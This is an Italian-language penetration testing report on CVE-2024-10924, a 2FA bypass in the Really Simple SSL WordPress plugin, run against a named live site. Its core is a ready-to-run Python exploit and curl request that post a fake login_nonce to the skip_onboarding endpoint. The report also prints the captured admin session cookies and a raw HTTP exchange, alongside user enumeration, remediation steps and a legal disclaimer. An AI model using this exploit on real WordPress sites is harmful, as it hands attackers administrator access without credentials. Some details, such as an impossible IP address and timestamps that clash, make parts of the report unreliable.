
Report di penetration testing ed exploit per CVE-2024-10924, un bypass del 2FA in Really Simple SSL, con indicazioni su ricognizione, sfruttamento e rimedio.
Target: https://skior.co
Vulnerabilità: CVE-2024-10924 - Bypass 2FA nel Plugin Really Simple SSL
Severità: Critica (CVSS Score: 9.8)
Stato: Sfruttata con successo
Data di Scoperta: 2025-06-25
Versione del Report: 2.1
Questo penetration test ha scoperto una vulnerabilità critica di bypass dell'autenticazione che consente ad attaccanti non autenticati di ottenere accesso amministrativo al sito WordPress aggirando i controlli di autenticazione a due fattori (2FA).
Questa valutazione ha seguito una metodologia di penetration testing black-box sistematica basata sugli standard di settore:

Tecnologie Identificate:
└─$ whatweb https://skior.co
https://skior.co [200 OK] Country[UNITED STATES][US], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200],
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2;
features: additional_custom_breakpoints, e_local_google_fonts;
settings: css_print_method-external, google_font-enabled, font_display-swap,
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior],
Script[speculationrules,text/javascript], Title[Skior Technologies],
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]
**Risultati principali:**
- Installazione WordPress moderna con l'ultima versione
- Configurazione hosting professionale con nginx
- Branding personalizzato ("PoweredBy[Skior]")
- Page builder Elementor in uso
- Posizione geografica: Stati Uniti
### Passaggio 2: Enumerazione degli utenti
#### A. Enumerazione degli autori WordPress```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/
Utente scoperto: pastor (ID utente: 1)
for i in {1..10}; do echo "Checking user ID: $i" curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i" echo " - https://skior.co/?author=$i" done
#### C. Risultati dell'enumerazione degli username
| ID utente | Username | Stato | URL di reindirizzamento |
|---------|----------|--------|--------------|
| 1 | pastor | ✅ Trovato | `/author/pastor/` |
| 2-10 | N/A | ❌ Non trovato | risposte 404 |
### Passaggio 3: Scansione delle vulnerabilità
#### A. Analisi completa di WPScan```bash
└─$ wpscan --url https://skior.co --api-token my-api-key
Riepilogo dei risultati di scansione:
Nota: WPScan non ha rilevato il plugin Really Simple SSL, indicando che potrebbe utilizzare offuscamento o denominazione personalizzata.
└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'
**Endpoint custom scoperti:**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup
Scoperta critica: L'endpoint /reallysimplessl/v1/two_fa/skip_onboarding appariva sospetto e richiedeva ulteriori indagini.
Dopo aver scoperto le route API REST personalizzate, la ricerca esterna ha rivelato CVE-2024-10924, una vulnerabilità critica che interessa il plugin Really Simple SSL.
ID CVE: CVE-2024-10924
Punteggio CVSS: 9.8 (Critico)
Plugin interessato: Really Simple SSL
Tipo di vulnerabilità: Bypass dell'autenticazione
Vettore di attacco: API REST
Data della scoperta: 6 novembre 2024
Divulgazione pubblica: 14 novembre 2024
La vulnerabilità deriva da una validazione impropria dell'utente nella funzione check_login_and_get_user all'interno delle azioni API REST dell'autenticazione a due fattori. La funzione non valida correttamente il parametro login_nonce, consentendo agli attaccanti di:
// Simplified vulnerable code structure function check_login_and_get_user($user_id, $login_nonce) { // Missing proper validation of login_nonce $user = get_user_by('ID', $user_id);
// No validation of login_nonce parameter
// This allows any value to be accepted
return $user; // Returns user object without verification
}
#### Endpoint interessati
I seguenti endpoint dell'API REST sono vulnerabili:
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`
#### Condizioni di vulnerabilità
Affinché questa vulnerabilità sia sfruttabile:
- ✅ Il plugin Really Simple SSL deve essere installato e attivato
- ✅ L'impostazione dell'autenticazione a due fattori deve essere abilitata (disabilitata per impostazione predefinita)
- ✅ Almeno un account utente deve esistere sul sistema
- ✅ L'API REST deve essere accessibile (impostazione predefinita di WordPress)
---
## 🔄 Flusso di attacco```mermaid
graph TD
A[Initial Reconnaissance] --> B[Technology Stack Identification]
B --> C[User Enumeration]
C --> D[Vulnerability Scanning]
D --> E[REST API Enumeration]
E --> F[Discovery of Really Simple SSL Endpoints]
F --> G[External Research]
G --> H[Identification of CVE-2024-10924]
H --> I[Manual Testing]
I --> J[Exploit Development]
J --> K[Successful Exploitation]
K --> L[Admin Access Obtained]
L --> M[Impact Assessment]
style A fill:#e1f5fe
style F fill:#fff3e0
style H fill:#ffebee
style K fill:#e8f5e8
style L fill:#f3e5f5
Per prima cosa, abbiamo testato manualmente l'endpoint per comprenderne il comportamento:```bash
curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
-H "Content-Type: application/json"
-d '{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}'
#### B. Script di Exploit Python```python
import requests
import urllib.parse
import sys
if len(sys.argv) != 2:
print("Usage: python exploit.py <user_id>")
sys.exit(1)
user_id = sys.argv[1]
url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
"user_id": int(user_id), # User ID from the argument
"login_nonce": "invalid_nonce", # Arbitrary value
"redirect_to": "/wp-admin/" # Target redirection
}
# Sending the POST request
response = requests.post(url, json=data)
# Checking the response
if response.status_code == 200:
print("Request successful!\n")
# Extracting cookies
cookies = response.cookies.get_dict()
count = 1
for name, value in cookies.items():
decoded_value = urllib.parse.unquote(value) # Decode the URL-encoded cookie value
print(f"Cookie {count}:")
print(f"Cookie Name: {name}")
print(f"Cookie Value: {decoded_value}\n")
count += 1
else:
print("Request failed!")
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
└─$ python exploit.py 1 Request successful!
Cookie 1: Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da
Cookie 2: Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144
#### Processo di Manipolazione dei Cookie

*In alto: Screenshot che mostra il processo di manipolazione dei cookie tramite gli strumenti di sviluppo del browser per aggiungere i cookie di sessione di WordPress catturati.*
#### Accesso Admin Riuscito

*In alto: Screenshot che conferma l'avvenuto accesso amministrativo alla dashboard di WordPress dopo aver sfruttato la vulnerabilità di bypass del 2FA.*
#### Analisi dei Cookie
**Cookie di Sicurezza di WordPress:**
- **Nome:** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **Valore:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **Componenti:**
- Nome utente: `pastor`
- Scadenza: `1752234264` (timestamp Unix)
- Nonce: `GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
- Hash: `cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
**Cookie di Accesso di WordPress:**
- **Nome:** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **Valore:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`
---
## 🎯 Valutazione dell'Impatto
### Impatto Immediato
1. **Compromissione Completa del Sito**
- Accesso amministrativo alla dashboard di WordPress
- Possibilità di modificare contenuti, temi e plugin del sito
- Accesso alla gestione utenti e alle impostazioni
2. **Esposizione dei Dati**
- Accesso a tutti gli account utente e ai profili
- Visibilità del contenuto del database
- Accesso ai file di configurazione
3. **Escalation dei Privilegi**
- Bypass di tutti i controlli di autenticazione
- Elusione delle misure di sicurezza 2FA
- Possibilità di impersonare qualsiasi utente
### Potenziali Scenari di Attacco
1. **Manipolazione dei Contenuti**
- Defacement dei contenuti del sito
- Iniezione di codice malevolo
- Creazione di backdoor
2. **Furto di Dati**
- Estrazione di informazioni sugli utenti
- Accesso a contenuti sensibili
- Download dei backup del database
3. **Persistenza**
- Installazione di plugin malevoli
- Creazione di account admin nascosti
- Stabilire comando e controllo
### Punteggio di Rischio: **Critico (9,8/10)**
| Fattore | Punteggio | Giustificazione |
|---------|-----------|-----------------|
| **Complessità di Accesso** | Bassa (1,0) | Semplice richiesta HTTP |
| **Autenticazione** | Nessuna (0,0) | Nessuna autenticazione richiesta |
| **Impatto sull'Integrità** | Alto (1,0) | Compromissione completa del sistema |
| **Impatto sulla Riservatezza** | Alto (1,0) | Accesso completo ai dati |
| **Impatto sulla Disponibilità** | Alto (1,0) | Può disabilitare il sito |
### Analisi dell'Impatto Aziendale
| Categoria di Impatto | Gravità | Descrizione |
|----------------------|---------|-------------|
| **Finanziario** | Alto | Potenziale perdita di ricavi, costi legali |
| **Reputazionale** | Critico | Danno al marchio, perdita di fiducia dei clienti |
| **Operativo** | Alto | Interruzione del servizio, perdita di dati |
| **Conformità** | Alto | Violazioni normative, fallimenti degli audit |
---
## 🛡️ Rimedio
### Azioni Immediate (0-24 ore)
1. **Disabilitare il Plugin Really Simple SSL** ```bash
# Via wp-cli (if available)
wp plugin deactivate really-simple-ssl
# Or manually rename plugin directory
mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
Aggiornare o rimuovere il plugin
Controllare le sessioni utente
Rafforzamento della sicurezza
Implementazione del monitoraggio
Valutazioni di sicurezza regolari
Aggiornamenti delle policy di sicurezza
// Add to wp-config.php for enhanced security define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); define('FORCE_SSL_ADMIN', true);
// Restrict REST API access add_filter('rest_authentication_errors', function($result) { if (!empty($result)) { return $result; } if (!is_user_logged_in()) { return new WP_Error('rest_not_logged_in', 'You are not currently logged in.', array('status' => 401)); } return $result; });
// Additional security headers add_action('send_headers', function() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); });
### Soluzioni SSL Alternative
| Soluzione | Pro | Contro | Raccomandazione |
|----------|------|------|----------------|
| **Let's Encrypt** | Gratuito, automatizzato | Configurazione manuale | ✅ Consigliato |
| **Cloudflare** | Configurazione semplice, protezione DDoS | Richiede modifica DNS | ✅ Buona opzione |
| **SSL del Provider di Hosting** | Integrato | Potrebbe avere limitazioni | ⚠️ Verifica le funzionalità |
| **SSL Manuale** | Controllo totale | Configurazione complessa | ❌ Non consigliato |
---
## 🛠️ Strumenti Utilizzati
### Strumenti di Ricognizione
- **Wappalyzer** - Identificazione dello stack tecnologico
- **WhatWeb** - Fingerprinting di applicazioni web
- **WPScan** - Scansione delle vulnerabilità di WordPress
- **curl** - Test manuale delle API
### Strumenti di Sfruttamento
- **Python 3** - Sviluppo di exploit
- **requests** - Libreria client HTTP
- **urllib.parse** - Codifica/decodifica URL
### Strumenti di Analisi
- **jq** - Elaborazione JSON
- **grep** - Corrispondenza di pattern di testo
- **bash** - Automazione da riga di comando
---
## 📚 Riferimenti
### Informazioni sulle Vulnerabilità
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [Sicurezza dei plugin WordPress](https://wordpress.org/plugins/security/)
- [Plugin Really Simple SSL](https://wordpress.org/plugins/really-simple-ssl/)
### Documentazione Tecnica
- [Manuale dell'API REST di WordPress](https://developer.wordpress.org/rest-api/)
- [Buone pratiche di sicurezza per WordPress](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
### Strumenti e Risorse
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)
### CVE Correlate
- CVE-2024-10924 - Bypass 2FA in Really Simple SSL
- CVE-2023-28121 - XSS nel core di WordPress
- CVE-2023-28122 - CSRF nel core di WordPress
### Standard di Settore
- [Guida ai test OWASP](https://owasp.org/www-project-web-security-testing-guide/)
- [Framework di cybersecurity NIST](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)
---
## 📄 Avviso Legale
Questo report di penetration testing ha solo scopi educativi e di valutazione della sicurezza autorizzata. Le tecniche e gli strumenti descritti devono essere utilizzati solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione a testarli. I test non autorizzati possono violare leggi e regolamenti.
**Divulgazione Responsabile:** Questa vulnerabilità è stata segnalata agli sviluppatori del plugin e al team di sicurezza di WordPress.
**Disclaimer:** Le informazioni fornite in questo report si basano sulla valutazione condotta al momento dei test. Il panorama della sicurezza cambia rapidamente e potrebbero esistere vulnerabilità aggiuntive non rilevate durante questa valutazione.
---
## 📋 Appendici
### Appendice A: Richieste HTTP Grezze
#### Richiesta di Sfruttamento Riuscita```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}
HTTP/1.1 200 OK Server: nginx/1.26.0 (Ubuntu) Date: Wed, 25 Jun 2025 18:15:30 GMT Content-Type: text/html; charset=UTF-8 Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/
### Appendice B: Checklist di Sicurezza
#### Pre-sfruttamento
- [ ] Identificazione del target e definizione dell'ambito
- [ ] Ottenuta l'autorizzazione legale
- [ ] Ambiente di test preparato
- [ ] Strumenti e script validati
#### Durante lo sfruttamento
- [ ] Vulnerabilità confermata manualmente
- [ ] Exploit sviluppato e testato
- [ ] Impatto limitato all'ambito autorizzato
- [ ] Evidenze documentate accuratamente
#### Post-sfruttamento
- [ ] Rimosso ogni accesso
- [ ] Evidenze preservate
- [ ] Rapporto generato
- [ ] Fornite raccomandazioni di remediation
### Appendice C: Glossario
| Termine | Definizione |
|------|------------|
| **2FA** | Autenticazione a due fattori |
| **CVSS** | Sistema Comune di Punteggio delle Vulnerabilità |
| **REST API** | Interfaccia di programmazione delle applicazioni per il trasferimento di stato rappresentazionale |
| **WAF** | Firewall per applicazioni web |
| **XSS** | Cross-Site Scripting |
| **CSRF** | Falsificazione di richiesta tra siti |
---
*Rapporto generato il: 2025-06-25*
*Ricercatore di Sicurezza*
*Versione: 2.1*
*Ultimo aggiornamento: 2025-06-25*
| Livello di Rischio | Probabilità | Impatto | Priorità di Mitigazione |
|---|
| Critico | Alta | Compromissione Completa del Sistema | Immediata |
| Alto | Media | Violazione dei Dati | Alta |
| Medio | Bassa | Interruzione del Servizio | Media |
| Campo | Valore |
|---|
| Dominio | https://skior.co |
| Indirizzo IP | 123.456.789.200 |
| Server | nginx/1.26.0 (Ubuntu) |
| Versione PHP | 8.2.28 |
| CMS | WordPress 6.8.1 |
| Plugin Vulnerabile | Really Simple SSL |
| Posizione Geografica | Stati Uniti |
| Provider di Hosting | Hosting professionale (probabilmente VPS/Dedicato) |
| Data/Ora | Evento | Dettagli |
|---|
| 2025-06-25 14:02 | Ricognizione Iniziale | Analisi Wappalyzer completata |
| 2025-06-25 14:05 | Stack Tecnologico Identificato | WordPress 6.8.1, nginx, PHP 8.2.28 |
| 2025-06-25 14:10 | Enumerazione Utenti | Trovato utente "pastor" (ID: 1) |
| 2025-06-25 14:15 | Analisi WPScan | Nessuna vulnerabilità nota trovata |
| 2025-06-25 14:20 | Enumerazione API REST | Scoperti endpoint di Really Simple SSL |
| 2025-06-25 14:25 | Ricerca Vulnerabilità | Identificata CVE-2024-10924 |
| 2025-06-25 14:30 | Test Manuali | Confermata l'esistenza della vulnerabilità |
| 2025-06-25 14:35 | Sviluppo Exploit | Creato proof-of-concept in Python |
| 2025-06-25 14:40 | Sfruttamento Riuscito | Ottenuto accesso amministrativo |
| 2025-06-25 14:45 | Valutazione dell'Impatto | Documentati i potenziali danni |
| 2025-06-25 15:00 | Generazione Report | Documentazione completa |